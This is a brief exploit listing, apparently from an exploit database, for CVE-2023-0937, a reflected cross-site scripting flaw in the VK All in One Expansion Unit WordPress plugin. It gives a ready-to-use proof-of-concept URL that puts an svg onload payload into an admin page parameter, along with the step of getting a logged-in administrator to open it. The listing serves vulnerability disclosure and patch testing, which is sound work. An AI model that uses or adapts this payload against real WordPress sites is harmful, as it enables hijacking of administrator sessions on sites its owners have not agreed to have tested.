Exploit for VK All in One Expansion Unit < 9.87.1.0 - Reflected XSS CVE-2023-0937

Name: Exploit for VK All in One Expansion Unit < 9.87.1.0 - Reflected XSS CVE-2023-0937
Rating: 5 (8 reviews)

2023-02-23 | CVSS 0.2

## https://sploitus.com/exploit?id=WPEX-ID:5110FF02-C721-43EB-B13E-50ACA25E1162
Make a logged in admin open the below URL using web browser which does not encode characters

https://example.com/wp-admin/admin.php?page=vkExUnit_css_customize&b="><svg/onload=alert(/XSS/)>